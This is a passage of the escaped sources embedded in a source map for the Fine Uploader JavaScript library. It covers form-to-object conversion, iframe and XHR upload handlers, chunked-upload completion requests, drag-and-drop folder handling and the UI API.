determineFormEl(formEl);\n    this.attachedToForm = !!formEl;\n};\n\nqq.extend(qq.FormSupport.prototype, {\n    // Converts all relevant form fields to key/value pairs.  This is meant to mimic the data a browser will\n    // construct from a given form when the form is submitted.\n    _form2Obj: function(form) {\n        \"use strict\";\n        var obj = {},\n            notIrrelevantType = function(type) {\n                var irrelevantTypes = [\n                    \"button\",\n                    \"image\",\n                    \"reset\",\n                    \"submit\"\n                ];\n\n                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;\n            },\n            radioOrCheckbox = function(type) {\n                return qq.indexOf([\"checkbox\", \"radio\"], type.toLowerCase()) >= 0;\n            },\n            ignoreValue = function(el) {\n                if (radioOrCheckbox(el.type) && !el.checked) {\n                    return true;\n                }\n\n                return el.disabled && el.type.toLowerCase() !== \"hidden\";\n            },\n            selectValue = function(select) {\n                var value = null;\n\n                qq.each(qq(select).children(), function(idx, child) {\n                    if (child.tagName.toLowerCase() === \"option\" && child.selected) {\n                        value = child.value;\n                        return false;\n                    }\n                });\n\n                return value;\n            };\n\n        qq.each(form.elements, function(idx, el) {\n            if ((qq.isInput(el, true) || el.tagName.toLowerCase() === \"textarea\") &&\n                notIrrelevantType(el.type) &&\n                !ignoreValue(el)) {\n\n                obj[el.name] = el.value;\n            }\n            else if (el.tagName.toLowerCase() === \"select\" && !ignoreValue(el)) {\n                var value = selectValue(el);\n\n                if (value !== null) {\n                    obj[el.name] = value;\n                }\n            }\n        });\n\n        return obj;\n    }\n});\n","/*globals qq*/\n/**\n * Upload handler used that assumes the current user agent does not have any support for the\n * File API, and, therefore, makes use of iframes and forms to submit the files directly to\n * a generic server.\n *\n * @param options Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.FormUploadHandler = function(options, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getUuid = proxy.getUuid,\n        log = proxy.log;\n\n    /**\n     * Returns json object received by iframe from server.\n     */\n    function getIframeContentJson(id, iframe) {\n        /*jshint evil: true*/\n\n        var response, doc, innerHtml;\n\n        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n        try {\n            // iframe.contentWindow.document - for IE<7\n            doc = iframe.contentDocument || iframe.contentWindow.document;\n            innerHtml = doc.body.innerHTML;\n\n            log(\"converting iframe's innerHTML to JSON\");\n            log(\"innerHTML = \" + innerHtml);\n            //plain text response may be wrapped in <pre> tag\n            if (innerHtml && innerHtml.match(/^<pre/i)) {\n                innerHtml = doc.body.firstChild.firstChild.nodeValue;\n            }\n\n            response = handler._parseJsonResponse(innerHtml);\n        }\n        catch (error) {\n            log(\"Error when attempting to parse form upload response (\" + error.message + \")\", \"error\");\n            response = {success: false};\n        }\n\n        return response;\n    }\n\n    /**\n     * Creates form, that will be submitted to iframe\n     */\n    function createForm(id, iframe) {\n        var params = options.paramsStore.get(id),\n            method = options.method.toLowerCase() === \"get\" ? \"GET\" : \"POST\",\n            endpoint = options.endpointStore.get(id),\n            name = getName(id);\n\n        params[options.uuidName] = getUuid(id);\n        params[options.filenameParam] = name;\n\n        return handler._initFormForUpload({\n            method: method,\n            endpoint: endpoint,\n            params: params,\n            paramsInBody: options.paramsInBody,\n            targetName: iframe.name\n        });\n    }\n\n    this.uploadFile = function(id) {\n        var input = handler.getInput(id),\n            iframe = handler._createIframe(id),\n            promise = new qq.Promise(),\n            form;\n\n        form = createForm(id, iframe);\n        form.appendChild(input);\n\n        handler._attachLoadEvent(iframe, function(responseFromMessage) {\n            log(\"iframe loaded\");\n\n            var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);\n\n            handler._detachLoadEvent(id);\n\n            //we can't remove an iframe if the iframe doesn't belong to the same domain\n            if (!options.cors.expected) {\n                qq(iframe).remove();\n            }\n\n            if (response.success) {\n                promise.success(response);\n            }\n            else {\n                promise.failure(response);\n            }\n        });\n\n        log(\"Sending upload request for \" + id);\n        form.submit();\n        qq(form).remove();\n\n        return promise;\n    };\n\n    qq.extend(this, new qq.FormUploadHandler({\n        options: {\n            isCors: options.cors.expected,\n            inputName: options.inputName\n        },\n\n        proxy: {\n            onCancel: options.onCancel,\n            getName: getName,\n            getUuid: getUuid,\n            log: log\n        }\n    }));\n};\n","/*globals qq*/\n/**\n * Upload handler used to upload to traditional endpoints.  It depends on File API support, and, therefore,\n * makes use of `XMLHttpRequest` level 2 to upload `File`s and `Blob`s to a generic server.\n *\n * @param spec Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.XhrUploadHandler = function(spec, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        multipart = spec.forceMultipart || spec.paramsInBody,\n\n        addChunkingSpecificParams = function(id, params, chunkData) {\n            var size = getSize(id),\n                name = getName(id);\n\n            params[spec.chunking.paramNames.partIndex] = chunkData.part;\n            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;\n            params[spec.chunking.paramNames.chunkSize] = chunkData.size;\n            params[spec.chunking.paramNames.totalParts] = chunkData.count;\n            params[spec.totalFileSizeName] = size;\n\n            /**\n             * When a Blob is sent in a multipart request, the filename value in the content-disposition header is either \"blob\"\n             * or an empty string.  So, we will need to include the actual file name as a param in this case.\n             */\n            if (multipart) {\n                params[spec.filenameParam] = name;\n            }\n        },\n\n        allChunksDoneRequester = new qq.traditional.AllChunksDoneAjaxRequester({\n            cors: spec.cors,\n            endpoint: spec.chunking.success.endpoint,\n            log: log\n        }),\n\n        createReadyStateChangedHandler = function(id, xhr) {\n            var promise = new qq.Promise();\n\n            xhr.onreadystatechange = function() {\n                if (xhr.readyState === 4) {\n                    var result = onUploadOrChunkComplete(id, xhr);\n\n                    if (result.success) {\n                        promise.success(result.response, xhr);\n                    }\n                    else {\n                        promise.failure(result.response, xhr);\n                    }\n                }\n            };\n\n            return promise;\n        },\n\n        getChunksCompleteParams = function(id) {\n            var params = spec.paramsStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n            params[spec.totalFileSizeName] = size;\n            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);\n\n            return params;\n        },\n\n        isErrorUploadResponse = function(xhr, response) {\n            return qq.indexOf([200, 201, 202, 203, 204], xhr.status) < 0 ||\n                !response.success ||\n                response.reset;\n        },\n\n        onUploadOrChunkComplete = function(id, xhr) {\n            var response;\n\n            log(\"xhr - server response received for \" + id);\n            log(\"responseText = \" + xhr.responseText);\n\n            response = parseResponse(true, xhr);\n\n            return {\n                success: !isErrorUploadResponse(xhr, response),\n                response: response\n            };\n        },\n\n        // If this is an upload response, we require a JSON payload, otherwise, it is optional.\n        parseResponse = function(upload, xhr) {\n            var response = {};\n\n            try {\n                log(qq.format(\"Received response status {} with body: {}\", xhr.status, xhr.responseText));\n                response = qq.parseJson(xhr.responseText);\n            }\n            catch (error) {\n                upload && log(\"Error when attempting to parse xhr response text (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        },\n\n        sendChunksCompleteRequest = function(id) {\n            var promise = new qq.Promise();\n\n            allChunksDoneRequester.complete(\n                    id,\n                    handler._createXhr(id),\n                    getChunksCompleteParams(id),\n                    spec.customHeaders.get(id)\n                )\n                .then(function(xhr) {\n                    promise.success(parseResponse(false, xhr), xhr);\n                }, function(xhr) {\n                    promise.failure(parseResponse(false, xhr), xhr);\n                });\n\n            return promise;\n        },\n\n        setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {\n            var formData = new FormData(),\n                method = spec.method,\n                endpoint = spec.endpointStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n\n            if (multipart) {\n                params[spec.totalFileSizeName] = size;\n            }\n\n            //build query string\n            if (!spec.paramsInBody) {\n                if (!multipart) {\n                    params[spec.inputName] = name;\n                }\n                endpoint = qq.obj2url(params, endpoint);\n            }\n\n            xhr.open(method, endpoint, true);\n\n            if (spec.cors.expected && spec.cors.sendCredentials) {\n                xhr.withCredentials = true;\n            }\n\n            if (multipart) {\n                if (spec.paramsInBody) {\n                    qq.obj2FormData(params, formData);\n                }\n\n                formData.append(spec.inputName, fileOrBlob);\n                return formData;\n            }\n\n            return fileOrBlob;\n        },\n\n        setUploadHeaders = function(id, xhr) {\n            var extraHeaders = spec.customHeaders.get(id),\n                fileOrBlob = handler.getFile(id);\n\n            xhr.setRequestHeader(\"Accept\", \"application/json\");\n            xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n            xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n\n            if (!multipart) {\n                xhr.setRequestHeader(\"Content-Type\", \"application/octet-stream\");\n                //NOTE: return mime type in xhr works on chrome 16.0.9 firefox 11.0a2\n                xhr.setRequestHeader(\"X-Mime-Type\", fileOrBlob.type);\n            }\n\n            qq.each(extraHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        };\n\n    qq.extend(this, {\n        uploadChunk: function(id, chunkIdx, resuming) {\n            var chunkData = handler._getChunkData(id, chunkIdx),\n                xhr = handler._createXhr(id, chunkIdx),\n                size = getSize(id),\n                promise, toSend, params;\n\n            promise = createReadyStateChangedHandler(id, xhr);\n            handler._registerProgressHandler(id, chunkIdx, chunkData.size);\n            params = spec.paramsStore.get(id);\n            addChunkingSpecificParams(id, params, chunkData);\n\n            if (resuming) {\n                params[spec.resume.paramNames.resuming] = true;\n            }\n\n            toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        },\n\n        uploadFile: function(id) {\n            var fileOrBlob = handler.getFile(id),\n                promise, xhr, params, toSend;\n\n            xhr = handler._createXhr(id);\n            handler._registerProgressHandler(id);\n            promise = createReadyStateChangedHandler(id, xhr);\n            params = spec.paramsStore.get(id);\n            toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        }\n    });\n\n    qq.extend(this, new qq.XhrUploadHandler({\n        options: qq.extend({namespace: \"traditional\"}, spec),\n        proxy: qq.extend({getEndpoint: spec.endpointStore.get}, proxy)\n    }));\n\n    qq.override(this, function(super_) {\n        return {\n            finalizeChunks: function(id) {\n                if (spec.chunking.success.endpoint) {\n                    return sendChunksCompleteRequest(id);\n                }\n                else {\n                    return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));\n                }\n            }\n        };\n    });\n};\n","/*globals qq*/\n/**\n * Ajax requester used to send a POST to a traditional endpoint once all chunks for a specific file have uploaded\n * successfully.\n *\n * @param o Options from the caller - will override the defaults.\n * @constructor\n */\nqq.traditional.AllChunksDoneAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        method = \"POST\",\n        options = {\n            cors: {\n                allowXdr: false,\n                expected: false,\n                sendCredentials: false\n            },\n            endpoint: null,\n            log: function(str, level) {}\n        },\n        promises = {},\n        endpointHandler = {\n            get: function(id) {\n                return options.endpoint;\n            }\n        };\n\n    qq.extend(options, o);\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [method],\n        method: method,\n        endpointStore: endpointHandler,\n        allowXRequestedWithAndCacheControl: false,\n        cors: options.cors,\n        log: options.log,\n        onComplete: function(id, xhr, isError) {\n            var promise = promises[id];\n\n            delete promises[id];\n\n            if (isError) {\n                promise.failure(xhr);\n            }\n            else {\n                promise.success(xhr);\n            }\n        }\n    }));\n\n    qq.extend(this, {\n        complete: function(id, xhr, params, headers) {\n            var promise = new qq.Promise();\n\n            options.log(\"Submitting All Chunks Done request for \" + id);\n\n            promises[id] = promise;\n\n            requester.initTransport(id)\n                .withParams(params)\n                .withHeaders(headers)\n                .send(xhr);\n\n            return promise;\n        }\n    });\n};\n","/*globals qq, document, CustomEvent*/\nqq.DragAndDrop = function(o) {\n    \"use strict\";\n\n    var options,\n        HIDE_ZONES_EVENT_NAME = \"qq-hidezones\",\n        HIDE_BEFORE_ENTER_ATTR = \"qq-hide-dropzone\",\n        uploadDropZones = [],\n        droppedFiles = [],\n        disposeSupport = new qq.DisposeSupport();\n\n    options = {\n        dropZoneElements: [],\n        allowMultipleItems: true,\n        classes: {\n            dropActive: null\n        },\n        callbacks: new qq.DragAndDrop.callbacks()\n    };\n\n    qq.extend(options, o, true);\n\n    function uploadDroppedFiles(files, uploadDropZone) {\n        // We need to convert the `FileList` to an actual `Array` to avoid iteration issues\n        var filesAsArray = Array.prototype.slice.call(files);\n\n        options.callbacks.dropLog(\"Grabbed \" + files.length + \" dropped files.\");\n        uploadDropZone.dropDisabled(false);\n        options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());\n    }\n\n    function traverseFileTree(entry) {\n        var parseEntryPromise = new qq.Promise();\n\n        if (entry.isFile) {\n            entry.file(function(file) {\n                var name = entry.name,\n                    fullPath = entry.fullPath,\n                    indexOfNameInFullPath = fullPath.indexOf(name);\n\n                // remove file name from full path string\n                fullPath = fullPath.substr(0, indexOfNameInFullPath);\n\n                // remove leading slash in full path string\n                if (fullPath.charAt(0) === \"/\") {\n                    fullPath = fullPath.substr(1);\n                }\n\n                file.qqPath = fullPath;\n                droppedFiles.push(file);\n                parseEntryPromise.success();\n            },\n            function(fileError) {\n                options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                parseEntryPromise.failure();\n            });\n        }\n        else if (entry.isDirectory) {\n            getFilesInDirectory(entry).then(\n                function allEntriesRead(entries) {\n                    var entriesLeft = entries.length;\n\n                    qq.each(entries, function(idx, entry) {\n                        traverseFileTree(entry).done(function() {\n                            entriesLeft -= 1;\n\n                            if (entriesLeft === 0) {\n                                parseEntryPromise.success();\n                            }\n                        });\n                    });\n\n                    if (!entries.length) {\n                        parseEntryPromise.success();\n                    }\n                },\n\n                function readFailure(fileError) {\n                    options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                    parseEntryPromise.failure();\n                }\n            );\n        }\n\n        return parseEntryPromise;\n    }\n\n    // Promissory.  Guaranteed to read all files in the root of the passed directory.\n    function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {\n        var promise = existingPromise || new qq.Promise(),\n            dirReader = reader || entry.createReader();\n\n        dirReader.readEntries(\n            function readSuccess(entries) {\n                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;\n\n                if (entries.length) {\n                    setTimeout(function() { // prevent stack overflow, however unlikely\n                        getFilesInDirectory(entry, dirReader, newEntries, promise);\n                    }, 0);\n                }\n                else {\n                    promise.success(newEntries);\n                }\n            },\n\n            promise.failure\n        );\n\n        return promise;\n    }\n\n    function handleDataTransfer(dataTransfer, uploadDropZone) {\n        var pendingFolderPromises = [],\n            handleDataTransferPromise = new qq.Promise();\n\n        options.callbacks.processingDroppedFiles();\n        uploadDropZone.dropDisabled(true);\n\n        if (dataTransfer.files.length > 1 && !options.allowMultipleItems) {\n            options.callbacks.processingDroppedFilesComplete([]);\n            options.callbacks.dropError(\"tooManyFilesError\", \"\");\n            uploadDropZone.dropDisabled(false);\n            handleDataTransferPromise.failure();\n        }\n        else {\n            droppedFiles = [];\n\n            if (qq.isFolderDropSupported(dataTransfer)) {\n                qq.each(dataTransfer.items, function(idx, item) {\n                    var entry = item.webkitGetAsEntry();\n\n                    if (entry) {\n                        //due to a bug in Chrome's File System API impl - #149735\n                        if (entry.isFile) {\n                            droppedFiles.push(item.getAsFile());\n                        }\n\n                        else {\n                            pendingFolderPromises.push(traverseFileTree(entry).done(function() {\n                                pendingFolderPromises.pop();\n                                if (pendingFolderPromises.length === 0) {\n                                    handleDataTransferPromise.success();\n                                }\n                            }));\n                        }\n                    }\n                });\n            }\n            else {\n                droppedFiles = dataTransfer.files;\n            }\n\n            if (pendingFolderPromises.length === 0) {\n                handleDataTransferPromise.success();\n            }\n        }\n\n        return handleDataTransferPromise;\n    }\n\n    function setupDropzone(dropArea) {\n        var dropZone = new qq.UploadDropZone({\n            HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,\n            element: dropArea,\n            onEnter: function(e) {\n                qq(dropArea).addClass(options.classes.dropActive);\n                e.stopPropagation();\n            },\n            onLeaveNotDescendants: function(e) {\n                qq(dropArea).removeClass(options.classes.dropActive);\n            },\n            onDrop: function(e) {\n                handleDataTransfer(e.dataTransfer, dropZone).then(\n                    function() {\n                        uploadDroppedFiles(droppedFiles, dropZone);\n                    },\n                    function() {\n                        options.callbacks.dropLog(\"Drop event DataTransfer parsing failed.  No files will be uploaded.\", \"error\");\n                    }\n                );\n            }\n        });\n\n        disposeSupport.addDisposer(function() {\n            dropZone.dispose();\n        });\n\n        qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();\n\n        uploadDropZones.push(dropZone);\n\n        return dropZone;\n    }\n\n    function isFileDrag(dragEvent) {\n        var fileDrag;\n\n        qq.each(dragEvent.dataTransfer.types, function(key, val) {\n            if (val === \"Files\") {\n                fileDrag = true;\n                return false;\n            }\n        });\n\n        return fileDrag;\n    }\n\n    // Attempt to determine when the file has left the document.  It is not always possible to detect this\n    // in all cases, but it is generally possible in all browsers, with a few exceptions.\n    //\n    // Exceptions:\n    // * IE10+ & Safari: We can't detect a file leaving the document if the Explorer window housing the file\n    //                   overlays the browser window.\n    // * IE10+: If the file is dragged out of the window too quickly, IE does not set the expected values of the\n    //          event's X & Y properties.\n    function leavingDocumentOut(e) {\n        if (qq.firefox()) {\n            return !e.relatedTarget;\n        }\n\n        if (qq.safari()) {\n            return e.x < 0 || e.y < 0;\n        }\n\n        return e.x === 0 && e.y === 0;\n    }\n\n    function setupDragDrop() {\n        var dropZones = options.dropZoneElements,\n\n            maybeHideDropZones = function() {\n                setTimeout(function() {\n                    qq.each(dropZones, function(idx, dropZone) {\n                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();\n                        qq(dropZone).removeClass(options.classes.dropActive);\n                    });\n                }, 10);\n            };\n\n        qq.each(dropZones, function(idx, dropZone) {\n            var uploadDropZone = setupDropzone(dropZone);\n\n            // IE <= 9 does not support the File API used for drag+drop uploads\n            if (dropZones.length && qq.supportedFeatures.fileDrop) {\n                disposeSupport.attach(document, \"dragenter\", function(e) {\n                    if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {\n                        qq.each(dropZones, function(idx, dropZone) {\n                            // We can't apply styles to non-HTMLElements, since they lack the `style` property.\n                            // Also, if the drop zone isn't initially hidden, let's not mess with `style.display`.\n                            if (dropZone instanceof HTMLElement &&\n                                qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {\n\n                                qq(dropZone).css({display: \"block\"});\n                            }\n                        });\n                    }\n                });\n            }\n        });\n\n        disposeSupport.attach(document, \"dragleave\", function(e) {\n            if (leavingDocumentOut(e)) {\n                maybeHideDropZones();\n            }\n        });\n\n        // Just in case we were not able to detect when a dragged file has left the document,\n        // hide all relevant drop zones the next time the mouse enters the document.\n        // Note that mouse events such as this one are not fired during drag operations.\n        disposeSupport.attach(qq(document).children()[0], \"mouseenter\", function(e) {\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, \"drop\", function(e) {\n            e.preventDefault();\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);\n    }\n\n    setupDragDrop();\n\n    qq.extend(this, {\n        setupExtraDropzone: function(element) {\n            options.dropZoneElements.push(element);\n            setupDropzone(element);\n        },\n\n        removeDropzone: function(element) {\n            var i,\n                dzs = options.dropZoneElements;\n\n            for (i in dzs) {\n                if (dzs[i] === element) {\n                    return dzs.splice(i, 1);\n                }\n            }\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n            qq.each(uploadDropZones, function(idx, dropZone) {\n                dropZone.dispose();\n            });\n        }\n    });\n};\n\nqq.DragAndDrop.callbacks = function() {\n    \"use strict\";\n\n    return {\n        processingDroppedFiles: function() {},\n        processingDroppedFilesComplete: function(files, targetEl) {},\n        dropError: function(code, errorSpecifics) {\n            qq.log(\"Drag & drop error code '\" + code + \" with these specifics: '\" + errorSpecifics + \"'\", \"error\");\n        },\n        dropLog: function(message, level) {\n            qq.log(message, level);\n        }\n    };\n};\n\nqq.UploadDropZone = function(o) {\n    \"use strict\";\n\n    var disposeSupport = new qq.DisposeSupport(),\n        options, element, preventDrop, dropOutsideDisabled;\n\n    options = {\n        element: null,\n        onEnter: function(e) {},\n        onLeave: function(e) {},\n        // is not fired when leaving element by hovering descendants\n        onLeaveNotDescendants: function(e) {},\n        onDrop: function(e) {}\n    };\n\n    qq.extend(options, o);\n    element = options.element;\n\n    function dragoverShouldBeCanceled() {\n        return qq.safari() || (qq.firefox() && qq.windows());\n    }\n\n    function disableDropOutside(e) {\n        // run only once for all instances\n        if (!dropOutsideDisabled) {\n\n            // for these cases we need to catch onDrop to reset dropArea\n            if (dragoverShouldBeCanceled) {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    e.preventDefault();\n                });\n            } else {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    if (e.dataTransfer) {\n                        e.dataTransfer.dropEffect = \"none\";\n                        e.preventDefault();\n                    }\n                });\n            }\n\n            dropOutsideDisabled = true;\n        }\n    }\n\n    function isValidFileDrag(e) {\n        // e.dataTransfer currently causing IE errors\n        // IE9 does NOT support file API, so drag-and-drop is not possible\n        if (!qq.supportedFeatures.fileDrop) {\n            return false;\n        }\n\n        var effectTest, dt = e.dataTransfer,\n        // do not check dt.types.contains in webkit, because it crashes safari 4\n        isSafari = qq.safari();\n\n        // dt.effectAllowed is none in Safari 5\n        // dt.types.contains check is for firefox\n\n        // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n        // the filesystem\n        effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== \"none\";\n        return dt && effectTest && (dt.files || (!isSafari && dt.types.contains && dt.types.contains(\"Files\")));\n    }\n\n    function isOrSetDropDisabled(isDisabled) {\n        if (isDisabled !== undefined) {\n            preventDrop = isDisabled;\n        }\n        return preventDrop;\n    }\n\n    function triggerHidezonesEvent() {\n        var hideZonesEvent;\n\n        function triggerUsingOldApi() {\n            hideZonesEvent = document.createEvent(\"Event\");\n            hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);\n        }\n\n        if (window.CustomEvent) {\n            try {\n                hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);\n            }\n            catch (err) {\n                triggerUsingOldApi();\n            }\n        }\n        else {\n            triggerUsingOldApi();\n        }\n\n        document.dispatchEvent(hideZonesEvent);\n    }\n\n    function attachEvents() {\n        disposeSupport.attach(element, \"dragover\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n            // the filesystem\n            var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;\n            if (effect === \"move\" || effect === \"linkMove\") {\n                e.dataTransfer.dropEffect = \"move\"; // for FF (only move allowed)\n            } else {\n                e.dataTransfer.dropEffect = \"copy\"; // for Chrome\n            }\n\n            e.stopPropagation();\n            e.preventDefault();\n        });\n\n        disposeSupport.attach(element, \"dragenter\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n                options.onEnter(e);\n            }\n        });\n\n        disposeSupport.attach(element, \"dragleave\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            options.onLeave(e);\n\n            var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);\n            // do not fire when moving a mouse over a descendant\n            if (qq(this).contains(relatedTarget)) {\n                return;\n            }\n\n            options.onLeaveNotDescendants(e);\n        });\n\n        disposeSupport.attach(element, \"drop\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n\n                e.preventDefault();\n                e.stopPropagation();\n                options.onDrop(e);\n\n                triggerHidezonesEvent();\n            }\n        });\n    }\n\n    disableDropOutside();\n    attachEvents();\n\n    qq.extend(this, {\n        dropDisabled: function(isDisabled) {\n            return isOrSetDropDisabled(isDisabled);\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n        },\n\n        getElement: function() {\n            return element;\n        }\n    });\n};\n","/*globals qq */\n/**\n * Defines the public API for FineUploader mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.uiPublicApi = {\n        addInitialFiles: function(cannedFileList) {\n            this._parent.prototype.addInitialFiles.apply(this, arguments);\n            this._templating.addCacheToDom();\n        },\n\n        clearStoredFiles: function() {\n            this._parent.prototype.clearStoredFiles.apply(this, arguments);\n            this._templating.clearFiles();\n        },\n\n        addExtraDropzone: function(element) {\n            this._dnd && this._dnd.setupExtraDropzone(element);\n        },\n\n        removeExtraDropzone: function(element) {\n            if (this._dnd) {\n                return this._dnd.removeDropzone(element);\n            }\n        },\n\n        getItemByFileId: function(id) {\n            if (!this._templating.isHiddenForever(id)) {\n                return this._templating.getFileContainer(id);\n            }\n        },\n\n        reset: function() {\n            this._parent.prototype.reset.apply(this, arguments);\n            this._templating.reset();\n\n            if (!this._options.button && this._templating.getButton()) {\n                this._defaultButtonId = this._createUploadButton({\n                    element: this._templating.getButton(),\n                    title: this._options.text.fileInputTitle\n                }).getButtonId();\n            }\n\n            if (this._dnd) {\n                this._dnd.dispose();\n                this._dnd = this._setupDragAndDrop();\n            }\n\n            this._totalFilesInBatch = 0;\n            this._filesInBatchAddedToUi = 0;\n\n            this._setupClickAndEditEventHandlers();\n        },\n\n        setName: function(id, newName) {\n            var formattedFilename = this._options.formatFileName(newName);\n\n            this._parent.prototype.setName.apply(this, arguments);\n            this._templating.updateFilename(id, formattedFilename);\n        },\n\n        pauseUpload: function(id) {\n            var paused = this._parent.prototype.pauseUpload.apply(this, arguments);\n\n            paused && this._templating.uploadPaused(id);\n            return paused;\n        },\n\n        continueUpload: function(id) {\n            var continued = this._parent.prototype.continueUpload.apply(this, arguments);\n\n            continued && this._templating.uploadContinued(id);\n            return continued;\n        },\n\n        getId: function(fileContainerOrChildEl) {\n            return this._templating.getFileId(fileContainerOrChildEl);\n        },\n\n        getDropTarget: function(fileId) {\n            var file = this.getFile(fileId);\n\n            return file.qqDropTarget;\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploader mode.\n     */\n    qq.uiPrivateApi = {\n        _getButton: function(buttonId) {\n            var button = this._parent.prototype._getButton.apply(this, arguments);\n\n            if (!button) {\n                if (buttonId === this._defaultButtonId) {\n                    button = this._templating.getButton();\n                }\n            }\n\n            return button;\n        },\n\n        _removeFileItem: function(fileId) {\n            this._templating.removeFile(fileId);\n        },\n\n        _setupClickAndEditEventHandlers: function() {\n            this._fileButtonsClickHandler = qq.FileButtonsClickHandler && this._bindFileButtonsClickEvent();\n\n            // A better approach would be to check specifically for focusin event support by querying the DOM API,\n            // but the DOMFocusIn event is not exposed as a property, so we have to resort to UA string sniffing.\n            this._focusinEventSupported = !qq.firefox();\n\n            if (this._isEditFilenameEnabled())\n            {\n                this._filenameClickHandler = this._bindFilenameClickEvent();\n                this._filenameInputFocusInHandler = this._bindFilenameInputFocusInEvent();\n                this._filenameInputFocusHandler = this._bindFilenameInputFocusEvent();\n            }\n        },\n\n        _setupDragAndDrop: function() {\n            var self = this,\n                dropZoneElements = this._options.dragAndDrop.extraDropzones,\n                templating = this._templating,\n                defaultDropZone = templating.getDropZone();\n\n            defaultDropZone && dropZoneElements.push(defaultDropZone);\n\n            return new qq.DragAndDrop({\n                dropZoneElements: dropZoneElements,\n                allowMultipleItems: this._options.multiple,\n                classes: {\n                    dropActive: this._options.classes.dropActive\n                },\n                callbacks: {\n                    processingDroppedFiles: function() {\n                        templating.showDropProcessing();\n                    },\n                    processingDroppedFilesComplete: function(files, targetEl) {\n                        templating.hideDropProcessing();\n\n                        qq.each(files, function(idx, file) {\n                            file.qqDropTarget = targetEl;\n                        });\n\n                        if (files.length) {\n                            self.addFiles(files, null, null);\n                        }\n                    },\n                    dropError: function(code, errorData) {\n                        self._itemError(code, errorData);\n                    },\n                    dropLog: function(message, level) {\n                        self.log(message, level);\n                    }\n                }\n            });\n        },\n\n        _bindFileButtonsClickEvent: function() {\n            var self = this;\n\n            return new qq.FileButtonsClickHandler({\n                templating: this._templating,\n\n                log: function(message, lvl) {\n                    self.log(message, lvl);\n                },\n\n                onDeleteFile: function(fileId) {\n                    self.deleteFile(fileId);\n                },\n\n                onCancel: function(fileId) {\n                    self.cancel(fileId);\n                },\n\n                onRetry: function(fileId) {\n                    self.retry(fileId);\n                },\n\n                onPause: function(fileId) {\n                    self.pauseUpload(fileId);\n                },\n\n                onContinue: function(fileId) {\n                    self.continueUpload(fileId);\n                },\n\n                onGetName: function(fileId) {\n                    return self.getName(fileId);\n                }\n            });\n        },\n\n        _isEditFilenameEnabled: function() {\n            /*jshint -W014 */\n            return this._templating.isEditFilenamePossible()\n                && !this._options.autoUpload\n                && qq.FilenameClickHandler\n                && qq.FilenameInputFocusHandler\n                && qq.FilenameInputFocusHandler;\n        },\n\n        _filenameEditHandler: function() {\n            var self = this,\n                templating = this._templating;\n\n            return {\n                templating: templating,\n                log: function(message, lvl) {\n                    self.log(message, lvl);\n                },\n                